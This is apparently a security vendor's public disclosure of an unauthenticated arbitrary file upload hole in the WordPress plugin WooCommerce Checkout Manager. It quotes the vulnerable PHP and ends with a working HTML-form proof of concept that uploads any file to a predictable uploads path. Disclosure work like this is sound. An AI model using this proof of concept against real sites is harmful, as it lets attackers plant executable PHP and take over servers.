Our Proactive Monitoring Caught an Arbitrary File Upload Vulnerability in WooCommerce Checkout Manager
With an arbitrary file upload upload vulnerability in the plugin WooCommerce Checkout Manager our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities caught, a good reminder is provided that things are not always as they visibly seem with plugins.
In the plugin’s settings, by default it appears that you cannot upload files as the setting for that is not checked:
That seems like a good idea since security issues with file upload capability are something that hackers are likely to target, so avoiding having that active if not needed would be good idea security wise. But as we will get to in second that doesn’t come in to play with the actual code that handles uploads, so what is going on?
The only place we could find that the value of that is checked is in the function wooccm_validate_upload_process_customer():
1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 | function wooccm_validate_upload_process_customer() { $options = get_option( 'wccs_settings' ); if( !empty($options['checkness']['enable_file_upload'])) { return true; } else { return false; } } |
That in turn is only called when deciding whether to show the frontend of the upload capability:
1495 1496 1497 1498 1499 1500 | // Check if the customer can upload images // @mod - This disables the Order Uploaded Files meta box even for Administrators...? if( wooccm_validate_upload_process_customer() ) { add_action( 'woocommerce_view_order', 'wooccm_file_uploader_front_end' ); add_action( 'add_meta_boxes', 'wooccm_admin_edit_order_metaboxes' ); } |
Meanwhile the plugin makes a function, wccs_upload_file_func_callback(), which handles file uploads, available through WordPress’ AJAX functionality to those logged in to WordPress as well as to those not logged in:
2149 2150 | add_action("wp_ajax_wccs_upload_file_func", "wccs_upload_file_func_callback"); add_action("wp_ajax_nopriv_wccs_upload_file_func", "wccs_upload_file_func_callback"); |
The first part of that code checks if several inputs are sent with the request:
1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 | function wccs_upload_file_func_callback( $order_id ) { global $wpdb, $woocommerce, $post; // this is how you get access to the database $options = get_option( 'wccs_settings' ); $order_id = ( isset( $_REQUEST['order_id'] ) ? absint( $_REQUEST['order_id'] ) : false ); // load files require_once( ABSPATH . 'wp-admin/includes/file.php' ); require_once( ABSPATH . 'wp-admin/includes/media.php' ); $upload_dir = wp_upload_dir(); $name = ( isset( $_REQUEST['name'] ) ? $_REQUEST['name'] : false ); if( empty( $name ) ) { echo ' '.__('Upload failed. Files were not uploaded.','woocommerce-checkout-manager').''; die(); } if( empty( $order_id ) ) { echo ' '.__('Invalid Order. Files were not uploaded.','woocommerce-checkout-manager').''; die(); } $has_uploads = false; $order = new WC_Order( $order_id ); $files = $_FILES[''. $name .'']; // $upload_overrides = array( 'test_form' => false ); if( !empty( $files['name'] ) ) { foreach( $files['name'] as $key => $value ) { if( $files['name'][$key] ) { |
It doesn’t restrict what kinds of files can be uploaded or check if file uploads are allowed.
The code then runs different code for handling the upload based on if the “Categorize File Uploads” setting shown before is enabled. If that setting isn’t enabled then the file upload will be handled using wp_handle_upload(), which limits what types of files can be uploaded:
2035 2036 2037 2038 2039 2040 2041 2042 2043 2044 2045 | if ( empty($options['checkness']['cat_file_upload']) ) { $file = array( 'name' => $files['name'][$key], 'type' => $files['type'][$key], 'tmp_name' => $files['tmp_name'][$key], 'error' => $files['error'][$key], 'size' => $files['size'][$key] ); // $movefile = wp_handle_upload($file, $upload_overrides); $movefile = wp_handle_upload( $file ); |
If that is enabled then the following code will be used, which allows arbitrary files to be uploaded:
2073 2074 2075 2076 2077 2078 2079 2080 2081 2082 2083 2084 | } else { // using move_uploaded_file to categorized uploaded images if( !file_exists( $upload_dir['basedir'] . '/wooccm_uploads/' . $order_id . '/' ) ) { wp_mkdir_p( $upload_dir['basedir'] . '/wooccm_uploads/' . $order_id . '/' ); } $filename = $files['name'][$key]; $wp_filetype = wp_check_filetype( $filename ); $URLpath = $upload_dir['baseurl'] . '/wooccm_uploads/' . $order_id . '/' . $filename; move_uploaded_file( $files["tmp_name"][$key], $upload_dir['basedir'] . '/wooccm_uploads/' . $order_id . '/' . $filename); |
So a hacker could use that to upload malicious .php files at a location they could then access, as the proof of concept below shows.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Proof of Concept
With the Categorize Uploaded Files setting enabled and the ID number of existing order, the following proof of concept will upload the specified file to the directory /wp-content/uploads/wooccm_uploads/[order ID].
Make sure to replace “[path to WordPress]” with the location of WordPress and “[order ID]” with the ID number of an existing order.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=wccs_upload_file_func&order_id=[order ID]&name=test" method="POST" enctype="multipart/form-data"> <input type="file" name="test[1]" /> <input type="submit" value="Submit" /> </form> </body> </html>
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
I’ve been testing a fix and will be submitting a urgent Plugin update later this morning which once reviewed by the w.org Plugins team will be available for immediate download.
(The Plugin has been temporarily removed because of the above disclosure)
The disclosure happened three days before the closure, so something other than just the disclosure led to closure (as of last week there were plugins with over 2 million installs that have not been closed despite those disclosures).